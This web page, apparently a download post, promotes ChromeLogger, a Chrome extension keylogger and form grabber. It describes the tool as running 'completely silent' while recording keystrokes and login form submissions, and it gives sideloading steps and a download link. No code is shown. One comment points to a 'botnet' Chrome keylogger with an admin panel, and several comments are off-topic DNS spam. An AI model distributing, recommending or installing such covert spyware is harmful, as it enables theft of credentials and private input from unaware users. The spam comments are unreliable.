ChromeLogger is a keylogger and form grabber that runs as a Google Chrome extension. Since it’s a Chrome addon, it’s compatible with the latest version of Chrome on all OS’s (Windows, Mac, Linux).

ChromeLogger will save all keystrokes typed into webpages that are opened by Chrome. There’s also an option to capture form submissions (ie, search boxes, login forms). After installing, ChromeLogger will be completely silent and will automatically start recording keylogs.

Please note that ChromeLogger will not save keystrokes or forms from outside of the Chrome browser (ie, Microsoft Office).

Installation Instructions
1. Download the ChromeLogger extension below.
2. Open a new window/tab and go to: chrome://extensions/ (the extensions page).
3. Enable “Developer Mode” (top right).
4. Drag and drop the downloaded ChromeLogger extension into the Extensions page.

To view ChromeLogger logs and enable the form grabber, open your Extensions page, find ChromeLogger, and click on “Options”.

Get ChromeLogger here: Download ChromeLogger v1.0.3 (January 10, 2015)

You can find a technical description and help contribute by visiting ChromeLogger on Github.

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jesus
3 years ago

virus

chadiamoussaa
3 years ago
Reply to  jesus

takes this keylogger includ php (admin panel ) works very good

https://github.com/hakanonymos/botnet-browser-chrome

sam
3 years ago

dieing off

bouya
4 years ago

the logs page is always empty, it does not work for me i guess.

lalaki
5 years ago

olol scammer keylogger

DNS server isn’t responding
5 years ago

There are a number of DNS servers located within the connection of computers that we call the internet. Most important are 13 DNS root servers that store a complete database of domain names and their associated public IP addresses.

peterprism
5 years ago

The chrome logger is used to save the password which we enter in the itunes support browser

anon 217
5 years ago

There appears to be “Gumshoe” for Chrome which seems to accomplish this and IS in the Google Play store, but I haven’t tried it. I ended up getting this extension working. Here’s how to get this extension working (and any extension that you develop with but isn’t in the Google Play Store and therefor not supported by Chrome or many Chrome-like browsers): 1) Download and install Vivaldi browser. It’s based on Chromium, the same open-source browser Chrome is based on. It’s also based on Opera and is a great browser. If anyone asks why you like to use it, tell… Read more »

cdfdgfd
5 years ago
Reply to  anon 217

printer in error state Google Play Store and therefor not supported by Chrome or many Chrome-like browsers

3ch0
6 years ago

There is no “options”.

Pat
5 years ago
Reply to  3ch0

does not work on my chromebook.

DNS server isn’t responding
5 years ago
Reply to  Pat

In more easy to understand terms: a DNS server on the internet is the device that translates that http://www.lifewire.com you type in your browser to the 151.101.129.121 IP address that it really is.

https://intrepidsoftware.com/guide-to-solve-dns-server-not-responding-error/